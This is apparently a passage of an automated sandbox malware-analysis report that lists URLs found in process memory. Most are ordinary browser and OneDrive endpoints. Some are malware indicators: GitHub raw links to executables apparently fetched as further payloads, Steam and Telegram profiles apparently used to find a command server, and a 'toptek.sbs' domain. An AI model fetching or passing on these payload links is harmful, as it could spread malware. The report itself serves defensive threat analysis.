Source: chrome.exe, 00000018.00000003.2895383080.000049E800444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000018.00000003.2895383080.000049E800444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000018.00000003.2895383080.000049E800444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000018.00000003.2895383080.000049E800444000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000018.00000002.3127252065.000049E8003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000018.00000002.3131455883.000049E800980000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133417982.000049E800C60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000018.00000002.3131455883.000049E800980000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000018.00000002.3133243949.000049E800C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 03f60c0f6e.exe, 00000009.00000003.2667307921.0000000003E61000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2667431694.0000000003742000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133417982.000049E800C60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000018.00000002.3133417982.000049E800C60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: 03f60c0f6e.exe, 00000009.00000003.2667307921.0000000003E61000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2667431694.0000000003742000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2CF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2D43000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000014.00000003.2773392925.0000017EE2D94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002AFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 0000000F.00000002.2653782598.0000000004EB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000000.2569293502.0000000000682000.00000002.00000001.01000000.0000000B.sdmp, c534667f0b.exe, 0000000A.00000002.2759569441.0000000002AEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2755889265.0000000000CBF000.00000004.00000020.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000000.2569293502.0000000000682000.00000002.00000001.01000000.0000000B.sdmp, c534667f0b.exe, 0000000A.00000002.2759569441.0000000002A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe
Source: c534667f0b.exe, 0000000A.00000002.2755889265.0000000000CBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe1
Source: chrome.exe, 00000018.00000002.3140716706.000066940078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000018.00000002.3140935745.000066940080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2880483809.0000669400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2880801644.000066940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000018.00000002.3140716706.000066940078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000018.00000002.3140935745.000066940080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2880483809.0000669400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2880801644.000066940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000018.00000002.3125285263.000049E80000C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000018.00000002.3129245712.000049E80065C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: 0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 0016128732.exe, 00000007.00000003.2452688140.00000000077B6000.00000004.00001000.00020000.00000000.sdmp, 48a114f480.exe, 00000011.00000002.2759465548.0000000001511000.00000040.00000001.01000000.0000000F.sdmp, 48a114f480.exe, 00000011.00000003.2718192248.0000000007A20000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 03f60c0f6e.exe, 00000009.00000003.2718485144.00000000036FA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000018.00000003.2911756573.000049E800380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130414749.000049E8007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130472970.000049E8007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130414749.000049E8007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130472970.000049E8007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000018.00000002.3139075959.0000669400238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000018.00000002.3140598075.0000669400770000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3131958838.000049E800A40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3139075959.0000669400238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000018.00000002.3140935745.000066940080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2880483809.0000669400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2880801644.000066940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000018.00000002.3140935745.000066940080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2880483809.0000669400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2880801644.000066940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000018.00000002.3139075959.0000669400238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardf
Source: chrome.exe, 00000018.00000002.3140598075.0000669400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000018.00000003.2880801644.000066940039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3131958838.000049E800A40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000018.00000002.3140935745.000066940080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2880483809.0000669400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2880801644.000066940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000018.00000003.2882269414.00006694006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3140716706.000066940078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000018.00000003.2880801644.000066940039C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000018.00000002.3140716706.000066940078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000018.00000002.3140716706.000066940078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000018.00000002.3140556575.0000669400744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000018.00000002.3126919401.000049E800330000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2894296430.000049E8001E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000018.00000002.3127252065.000049E8003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000018.00000002.3128137037.000049E8004F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3129875527.000049E800734000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000018.00000002.3130311422.000049E8007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000018.00000002.3130311422.000049E8007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhoneI
Source: chrome.exe, 00000018.00000002.3130311422.000049E8007AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000018.00000002.3131793818.000049E800A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: powershell.exe, 0000000C.00000002.2619196230.0000000005F05000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2669221073.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000018.00000002.3126372097.000049E80020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2D62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000014.00000003.2773392925.0000017EE2CF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: chrome.exe, 00000018.00000002.3135172453.000049E800E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135855157.000049E800E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133363118.000049E800C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135611866.000049E800E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000018.00000002.3135172453.000049E800E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135893971.000049E800E88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2918012912.000049E8006F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135855157.000049E800E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135611866.000049E800E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000018.00000002.3135172453.000049E800E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133363118.000049E800C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135611866.000049E800E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000018.00000003.2918012912.000049E8006F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135855157.000049E800E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3126692645.000049E8002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133363118.000049E800C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135611866.000049E800E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000018.00000002.3135855157.000049E800E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3126692645.000049E8002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133363118.000049E800C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135611866.000049E800E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000018.00000003.2918012912.000049E8006F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135855157.000049E800E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133363118.000049E800C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135611866.000049E800E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000018.00000002.3135172453.000049E800E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135893971.000049E800E88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2918012912.000049E8006F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135855157.000049E800E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135611866.000049E800E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000018.00000002.3135172453.000049E800E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000003.2918012912.000049E8006F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135855157.000049E800E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3133363118.000049E800C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3135611866.000049E800E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000018.00000002.3131793818.000049E800A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000018.00000002.3131793818.000049E800A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002B64000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2759569441.0000000002BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/biyjdfjadaw.exe
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/ktyihkdfesf.exe
Source: c534667f0b.exe, 0000000A.00000002.2759569441.0000000002BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.comD
Source: chrome.exe, 00000018.00000002.3125556527.000049E8000A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000018.00000002.3125437484.000049E800058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130414749.000049E8007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130472970.000049E8007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000018.00000002.3127828791.000049E80047C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130414749.000049E8007C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000018.00000002.3130472970.000049E8007DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: c534667f0b.exe, 0000000A.00000002.2763054192.0000000003AC4000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2763054192.0000000003BE9000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2759569441.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000000.2752978754.0000000000423000.00000008.00000001.01000000.00000010.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000000.2752978754.0000000000423000.00000008.00000001.01000000.00000010.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512m0nk3Mozilla/5.0
Source: 03f60c0f6e.exe, 00000009.00000003.2668041733.0000000003E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: 03f60c0f6e.exe, 00000009.00000003.2717527566.0000000004082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 03f60c0f6e.exe, 00000009.00000003.2717527566.0000000004082000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 03f60c0f6e.exe, 00000009.00000003.2668407543.0000000003E86000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2668041733.0000000003E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 03f60c0f6e.exe, 00000009.00000003.2668407543.0000000003E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: 03f60c0f6e.exe, 00000009.00000003.2668407543.0000000003E86000.00000004.00000800.00020000.00000000.sdmp, 03f60c0f6e.exe, 00000009.00000003.2668041733.0000000003E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: 03f60c0f6e.exe, 00000009.00000003.2668407543.0000000003E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: c534667f0b.exe, 0000000A.00000002.2763054192.0000000003AC4000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2763054192.0000000003BE9000.00000004.00000800.00020000.00000000.sdmp, c534667f0b.exe, 0000000A.00000002.2759569441.0000000002BA2000.00000004.00000800.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2776478403.0000000000875000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2776221291.0000000000868000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000000.2752978754.0000000000423000.00000008.00000001.01000000.00000010.sdmp	String found in binary or memory: https://t.me/k04ael
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000000.2752978754.0000000000423000.00000008.00000001.01000000.00000010.sdmp	String found in binary or memory: https://t.me/k04aelm0nk3Mozilla/5.0
Source: chrome.exe, 00000018.00000002.3131958838.000049E800A40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000018.00000002.3126291628.000049E8001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2776221291.0000000000868000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2906038210.000000000086E000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2806760077.000000000086F000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2879001082.000000000086D000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2830010420.000000000086F000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2853234521.000000000086D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2906038210.000000000086E000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2806760077.000000000086F000.00000004.00000020.00020000.00000000.sdmp, 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2830010420.000000000086F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/=
Source: 3ca42ff3133e49daac5eafe0960f7af0.exe, 00000012.00000003.2806760077.000000000086F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/?
